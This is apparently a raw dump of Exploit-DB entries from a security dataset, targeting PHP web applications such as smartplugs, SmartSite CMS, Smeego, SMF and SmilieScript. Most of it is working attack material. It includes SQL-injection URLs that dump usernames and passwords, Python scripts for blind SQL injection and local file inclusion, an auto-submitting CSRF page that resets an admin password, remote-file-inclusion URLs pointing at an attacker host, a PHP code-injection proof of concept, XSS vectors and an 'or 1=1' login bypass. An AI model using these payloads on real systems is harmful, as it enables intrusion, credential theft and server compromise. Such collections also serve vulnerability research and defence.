deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11623
Description: smartplugs 1.3 - 'showplugs.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-03
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : smartplugs 1.3 SQL Injection showplugs.php
+Autor : Easy Laster
+Date   : 03.03.2010
+Script  : smartplugs 1.3  http://www.smart-plugs.com/spv1/
+Download : -------------
+Price : 170$
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/smartplugs/showplugs.php?domain=

+Exploitable users  : www.site.com/smartplugs/showplugs.php?domain=[PII_REDACTED]'+union+select
+1,concat(id,0x3a,username,0x3a,password,0x3a,email),3,4,5,6+from+user--+

Exploitable admin : www.site.com/smartplugs/showplugs.php?domain=[PII_REDACTED]'+union+
select+1,concat(username,0x3a,password),3,4,5,6+from+logins--+
-----------------------------------------------------------------------------------------
Exploit-DB #6014
Description: SmartPPC Pay Per Click Script - 'idDirectory' Blind SQL Injection (1)
Type: webapps
Platform: php
Date: 2008-07-07
Author: Hamtaro

Exploit:
+---------------------------------------+
|   Blind SQL Injection Vulnerability   |
|      in  Pay Per Click Script         |
|     found by Hamtaro aka CorVu5       |
|there must be 50 ways to learn to hover|
+---------------------------------------+
 
#gdork: "Pay Per Click Script powered by SmartPPC.com."
 
#vuln: site.com/directory.php?username=&idDirectory=90992%20and%20ascii(substring((SELECT%20concat(username,0x3a,pass)%20from%20users%20limit%200,1),1,1))%3E108
 
#login: site.com/accounts.php
---------------------------------------
greetz Hamtaro aka CorVu5

# milw0rm.com [2008-07-07]
Exploit-DB #44823
Description: Smartshop 1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-06-03
Author: L0RD

Exploit:
# Exploit Title: Smartshop 1 - SQL Injection
# Date: 2018-06-02
# Exploit Author: L0RD or borna.nematzadeh123@gmail.com
# Software Link: https://github.com/smakosh/Smartshop/archive/master.zip
# Vendor Homepage: https://www.behance.net/gallery/49080415/Smartshop-Free-e-commerce-website
# Version: 1
# Tested on: Kali linux
=================================================
# Description :
Smartshop 1 suffers from sql injection which attacker can inject sql
commands .
=================================================
# POC : SQLi

# vulnerable files : [ category.php  , product.php , search.php ]

1) category.php :
# Parameter : id
# Type : Union based
# Payload : ' UNION SELECT 1,user(),3,4,5%23

# Vulnerable code :

$id_category =$_GET['id'];
$start = ($page > 1) ? ($page * $perpage) - $perpage : 0;
$queryproduct = "SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture,
thumbnail FROM product WHERE id_category = '{$id_category}' ORDER BY id
DESC LIMIT {$start}, 16";
$result = $connection->query($queryproduct);

=================================================

2) product.php :
# Parameter : id
# Type : Union based
# Payload : ' UNION SELECT 1,user(),database(),4,5,6%23

# Vulnerable code :

$id_product =$_GET['id'];
$queryproduct = "SELECT id, name, price, description, id_picture, thumbnail
 FROM product WHERE id = '{$id_product}'";
$result1 = $connection->query($queryproduct);

=================================================

3) search.php :
# Parameter : searched
# Type : Time-based blind
# Payload : ' AND SLEEP(10)%23

# Vulnerable code :

$word = $_GET['searched'];
$queryproduct = "SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture,
thumbnail FROM product WHERE name LIKE '%{$word}%' ORDER BY id DESC LIMIT
{$start}, 16";
$result = $connection->query($queryproduct);

=================================================
Exploit-DB #44824
Description: Smartshop 1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-06-03
Author: L0RD

Exploit:
# Exploit Title: Smartshop 1 - Cross site request forgery
# Date: 2018-06-02
# Exploit Author: L0RD or borna.nematzadeh123@gmail.com
# Software Link: https://github.com/smakosh/Smartshop/archive/master.zip
# Vendor Homepage: https://www.behance.net/gallery/49080415/Smartshop-Free-e-commerce-website
# Version: 1
# Tested on: Kali linux
=================================================

# POC : CSRF

# Exploit :
# vulnerable file : editprofile.php

<html>
<head>
   <title>Change admin password</title>
</head>
<body>
   <form method="POST" action="http://127.0.0.1/clone/Smartshop-master/admin/editprofile.php">
    <input type="hidden" name="email" value="decode@test.com">
    <input type="hidden" name="password" value="1234">
    <input type="hidden" name="confirmation" value="1234">
   </form>
 <script>
    document.forms[0].submit();
 </script>
</body>
</html>

==================================================
Exploit-DB #1974
Description: SmartSite CMS 1.0 - 'root' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-07-01
Author: CrAsh_oVeR_rIdE

Exploit:
smartsite cms  v1.0 Multiple Remote File include
-------------------------------------------------
Discovered By CrAsh_oVeR_rIdE
Arabian Security Team
-------------------------------------------------
site of script:www.smartsitecms.net
-------------------------------------------------
Vulnerable: smartsite cms  v1.0
-------------------------------------------------
vulnerable code:
----------------------
1-in comment.php :
require($root . "include/inc_foot.php");
---------------------------------------
2-in /admin/test.php :
require($root . "include/inc_adminfooter.php");
---------------------------------------
3-in /admin/index.php :
require($root . "admin/include/inc_adminfooter.php");
---------------------------------------
4-in /admin/include/inc_adminfoot.php:
require($root . "include/inc_footer.php");
---------------------------------------
$root parameter File include
-----------------------------------------------------------------------------------------------------------------------------------------
vulnerable files  :
--------------------
comment.php
/admin/test.php
/admin/index.php
/admin/include/inc_adminfoot.php
-------------------------------------------------
example:
www.example.com/(path)/admin/test.php?root=http://evilcode.txt?
www.example.com/(path)/comment.php?root=http://evilcode.txt?
www.example.com/(path)/admin/index.php?root=http://evilcode.txt??root=http://evilcode.txt?
www.example.com/(path)/admin/include/inc_adminfoot.php?root=http://evilcode.txt?
-------------------------------------------------
Discovered By CrAsh_oVeR_rIdE
E-mail:KARKOR23@hotmail.com
Site:www.lezr.com
Greetz:KING-HACKER,YOUNG HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,Black-Code,ALMOKAN3, mr-hcr AND ALL LEZR.COM Member

# milw0rm.com [2006-07-01]
Exploit-DB #1936
Description: SmartSite CMS 1.0 - 'root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-20
Author: Archit3ct

Exploit:
# smartsite cms <= 1.0 Remote File Inclusion
#
# Contact : irc.gigachat.net #ir4dex
# Risk : High
# Class : Remote
# Script : smartsite cms
# Version : not specified
# URL: http://www.smartsitecms.net/
---------------------------------------------------------------------

Vulnerable code :

require($root . "include/inc_foot.php");

---------------------------------------------------------------------

http://www.site.com/[smartsitecmspath]/include/inc.foot.php?root=http://[attacker]

by Archit3ct and IR4DEX GROUP

Greetz: Darkfire

# milw0rm.com [2006-06-20]
Exploit-DB #7901
Description: SmartSiteCMS 1.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-28
Author: certaindeath

Exploit:
#!/usr/bin/python

import sys
import re
from socket import *

class exploit:
	def __init__(self,host,path,user):
		self.host=host
		self.path=path
		self.user=user
		self.reg=re.compile("<!-- END COMMENT FORM -->")
	def set_query(self,n,ch):
		self.query="' OR ASCII(SUBSTRING((SELECT password FROM users WHERE userName='"+self.user+"'),"+str(n)+",1)) = "+str(ord(ch))+" OR '1'='2"
		self.query = self.query.replace(" ","%20")
		self.query = self.query.replace("'","%27")
		self.request="GET "+self.path+"/articles.php?var="+self.query+" HTTP/1.0\r\nHost: "+self.host+"\r\n\n"
	def check(self):
		sock=socket(AF_INET, SOCK_STREAM)
		sock.connect((self.host, 80))
		sock.send(self.request)
		r=""
		t="-"
		while(t!=""):
			t=sock.recv(1024)
			r+=t
		match=self.reg.search(r)
		if(r[match.start()+27:match.start()+59]!="<!-- END OF RELATED ARTICLES -->"):
			return 1
		else:
			return 0
		sock.close()

print "////*****************************************\\\\\\\\"
print "||||           smartSiteCMS 1.0 v1.0         ||||"
print "||||            Blind SQL injection          ||||"
print "||||					     ||||"
print "|||| ~Author: certaindeath                   ||||"
print "|||| ~Greetz: darkjoker                      ||||"
print "\\\\\\\\*****************************************////\n"

if(len(sys.argv) !=4 ):
	print "Usage:	python xpl.py <host> <cms path> <user>"
	print "Example: python xpl.py localhost /cms admin"
	sys.exit(0)

pwd=""
xpl = exploit(sys.argv[1],sys.argv[2],sys.argv[3])
n=1
while(n<=32):
	t=0
	xpl.set_query(n,str(t))
	while (xpl.check()!=1):
		t+=1
		xpl.set_query(n,str(hex(t))[-1])
	pwd+=str(hex(t))[-1]
	n+=1
print "pass [md5]: ",pwd

# milw0rm.com [2009-01-28]
Exploit-DB #35343
Description: Smarty Template Engine 2.6.9 - '$smarty.template' PHP Code Injection
Type: webapps
Platform: php
Date: 2011-02-09
Author: jonieske

Exploit:
source: https://www.securityfocus.com/bid/46366/info

Smarty Template Engine is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Versions prior to Smarty Template Engine 3.0.7 are vulnerable. 

$smarty.template : '.(include 'hack.php').'.tpl
Exploit-DB #14884
Description: smbind 0.4.7 - SQL Injection
Type: webapps
Platform: php
Date: 2010-09-03
Author: r00t

Exploit:
##############################################################################################
#
# smbind <= v.0.4.7 Sql Injection
# Site: https://sourceforge.net/projects/smbind/files/
# Reported on 28/08/2010
#
# Author: IHTeam
#
##############################################################################################
#
# Buggy code:
#
if(isset($_POST['username']) && isset($_POST['password'])) {
        if((!filter("alphanum", $_POST['username'])) or (!filter("alphanum", $_POST['password']))) {
                die("Username and password must contain only letters and numbers.");
        }
        $_SESSION['username'] = $_POST['username'];
        $_SESSION['password'] = $_POST['password'];
}

if(isset($_SESSION['username']) && isset($_SESSION['password'])) {
        $res = $dbconnect->query("SELECT ID FROM users WHERE username = '" . $_SESSION['username'] ."' AND password = '" . md5($_SESSION['password']) . " ' ");
#
##############################################################################################
#
# Easy admin login
#
# Enter in username field: admin'; #
# Enter in password field: [anything]
#
# Sql query will result like this: SELECT ID FROM users WHERE username = 'admin'; #' AND [CREDENTIAL_REDACTED]'
#
##############################################################################################
#
# Limitation and Blind Sql Injection
#
# You're able to make blind sql injection too. Just input in username field something like this:
# admin' AND SUBSTRING(password,1,1)=char(49); #
#
# That sql injection work only with magic_quote_gpc = Off
#
##############################################################################################
Exploit-DB #27340
Description: SMBlog 1.2 - Arbitrary PHP Command Execution
Type: webapps
Platform: php
Date: 2006-03-01
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/16905/info

SMBlog is prone to an arbitrary command-execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary PHP commands on the vulnerable computer in the context of the webserver process.

http://www.example.com/?pg=evilcode?&cmd=id
Exploit-DB #5640
Description: Smeego 1.0 - 'Cookie lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-17
Author: 0in

Exploit:
# Smeego CMS Local File Include Exploit
# by
# 0in from Dark-Coders Programming & Security Group
# >>>>>>>> http://dark-coders.4rh.eu <<<<<<<<<<<<<<
#--------------------------------------------------------
# Contact: 0in(dot)email[at]gmail(dot)com
#--------------------------------------------------------
# Greetings to: Die_Angel,suN8Hclf,m4r1usz,djlinux,doctor
#--------------------------------------------------------
# Description:
# Smeego is a Content Management System or Portal
# System written in PHP and designed to be
# easy to install and use. Smeego has a mature code
# and comes with cool modules and themes
# for you to start your own dynamic and database
# driven website. Bla bla Bla [...]
# -------------------------------------------------------
# Script home: http://smeego.com
# -------------------------------------------------------
# Vuln:
# >>>>>> File: mainfile.php <<<<<<<
#if ($display_errors == 1) { // We don't se any errors ;(
# @ini_set('display_errors', 1);
#} else {
# @ini_set('display_errors', 0);
#}
#
#if (isset($newlang)) {
#
# if (file_exists("language/lang-".$newlang.".php")) {
# setcookie("lang",$newlang,time()+31536000);
# include_once("language/lang-".$newlang.".php");
# $currentlang = $newlang;
# } else {
# setcookie("lang",$language,time()+31536000);
# include_once("language/lang-".$language.".php");
# $currentlang = $language;
# }
#} elseif (isset($lang)) {
#
# include_once("language/lang-".$lang.".php");
# $currentlang = $lang;
#} else {
# setcookie("lang",$language,time()+31536000);
# include_once("language/lang-".$language.".php");
# $currentlang = $language;
#}
# >>>>>> End <<<<<<<
# So.. We can send Cookie: lang=[lfi]

# -------------------------------------------------------

# Simple Python Exploit:

#!/usr/bin/python
import sys
import time
import httplib
print '====================================================='
print ' Smeego CMS Local File INclude Exploit '
print ' by '
print ' 0in from Dark-Coders Programming & Security Group! '
print ' http://dark-coders.4rh.eu '
print '====================================================='
try:
target=sys.argv[1]
path=sys.argv[2]
file=sys.argv[3]
except Exception:
print '\nUse: %s [target] [path] [file]' % sys.argv[0]
quit()
i=0
lfi='../'
target+=":80"
special="%00"
file+=special
for i in range(9):
lfi+="../"
print '---------------------------------------------------------'
mysock=httplib.HTTPConnection(target)
mysock=httplib.HTTPConnection(target)
mysock.putrequest("GET",path)
mysock.putheader("User-Agent","Billy Explorer v666")
mysock.putheader('Accept', 'text/html')
mysock.putheader('Accept-Language',' en-us,en;q=0.5')
mysock.putheader('Cookie','lang=%s%s' % (lfi,file))
mysock.endheaders()
reply=mysock.getresponse()
print reply.read()
time.sleep(2)
mysock.close()
print '----------------------------------------------------------'

#EOFF

# milw0rm.com [2008-05-17]
Exploit-DB #5725
Description: smeweb 1.4b - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-02
Author: CWH Underground

Exploit:
=======================================================
 SMEweb 1.4b (SQL/XSS) Multiple Remote Vulnerabilities
=======================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 2 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : SMEweb
 VERSION     : 1.4b
 VENDOR      : http://www.smethailand.com/ 
 DOWNLOAD    : http://www.geocities.com/smes_thailand/smeweb_v14b.zip
#####################################################

---SQL Injection Exploit---

##############################################
Vulnerable: catalog.php (Line:66-69)

if($idp)  
 $sql = "select * from ".$fix."catalog where idp='$idp' and category NOT IN ('L1','LA') ";
elseif($category)   	
 $sql = "select * from ".$fix."catalog where category='$category' order by idp desc limit  1";  

 $result = mysql_db_query($dbname,$sql);
###############################################

***It's Work with Magic_quote must turn off***

http://[target]/[path]/catalog.php?idp=1'union select 1,2,password,username,5,6,7,8 from smeweb_user where userid=1 ORDER BY counter/*


---Multiple Remote XSS Exploit---

[+]catalog.php
[+]search.php
[+]bb.php
[+]order.php

Example:
     
http://[target]/[path]/catalog.php?data=<XSS>
http://[target]/[path]/search.php?keyword=<XSS>
http://[target]/[path]/bb.php?page=<XSS>
http://[target]/[path]/order.php?new_s=<XSS>

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-02]
Exploit-DB #38491
Description: SMF - '/index.php' HTML Injection / Multiple PHP Code Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2013-04-23
Author: Jakub Galczyk

Exploit:
source: https://www.securityfocus.com/bid/59409/info

SMF is prone to an HTML-injection and multiple PHP code-injection vulnerabilities.

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the affected application and inject hostile HTML and script code into vulnerable sections of the application.

SMF 2.0.4 is vulnerable; other versions may also be affected. 

<?php

// proof of concept that latest SMF (2.0.4) can be exploited by php injection.

// payload code must escape from \', so you should try with something like
// that:
// p0c\';phpinfo();// as a 'dictionary' value. Same story for locale
// parameter.
// For character_set - another story, as far as I remember, because here we
// have
// a nice stored xss. ;)

// 21/04/2013 
// http://HauntIT.blogspot.com

// to successfully exploit smf 2.0.4 we need correct admin's cookie:
$cookie = 'SMFCookie956=allCookiesHere';
$ch =
curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english');

curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On')
curl_setopt($ch, CURLOPT_POSTFIELDS,
"character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$page = curl_exec($ch);

echo 'PHP code:<br>'.$page;

curl_close($ch); // to close 'logged-in' part

?>
Exploit-DB #37973
Description: SMF - 'view' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-10-23
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/56223/info

SMF is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SMF 2.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/ssi_examples.php?view=[Xss]
Exploit-DB #29499
Description: SMF 1.1 - 'index.php' HTML Injection
Type: webapps
Platform: php
Date: 2007-01-20
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/22143/info

SMF is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

NOTE: To trigger this vulnerability, the attacker must log in with a valid account.

http://www.example.com/smf/index.php?action=pm;sa=send
Exploit-DB #31678
Description: SMF 1.1.4 - Audio CAPTCHA Security Bypass
Type: webapps
Platform: php
Date: 2008-04-21
Author: Michael Brooks

Exploit:
source: https://www.securityfocus.com/bid/28866/info

SMF (Simple Machine Forum) is prone to a security-bypass vulnerability that occurs in the audio CAPTCHA protocol.

Successfully exploiting this issue may allow attackers to send unsolicited spam or perform other automated attacks.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31678.zip
Exploit-DB #9404
Description: SmilieScript 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-10
Author: Mr.tro0oqy

Exploit:
=======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script :SmilieScript <= 1.0 (Auth Bypass) SQL injection Valunrability

[+] Script site : http://www.smiliescript.com

[+] Found by : Mr.tro0oqy  
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
exploit:
-------

[Â»] Exploit : admin 'or' 1=1


[Â»] Cpanel : www.xxx.com/path/admin


Demo:
-----
http://www.smiliescript.com/demo
-----

# milw0rm.com [2009-08-10]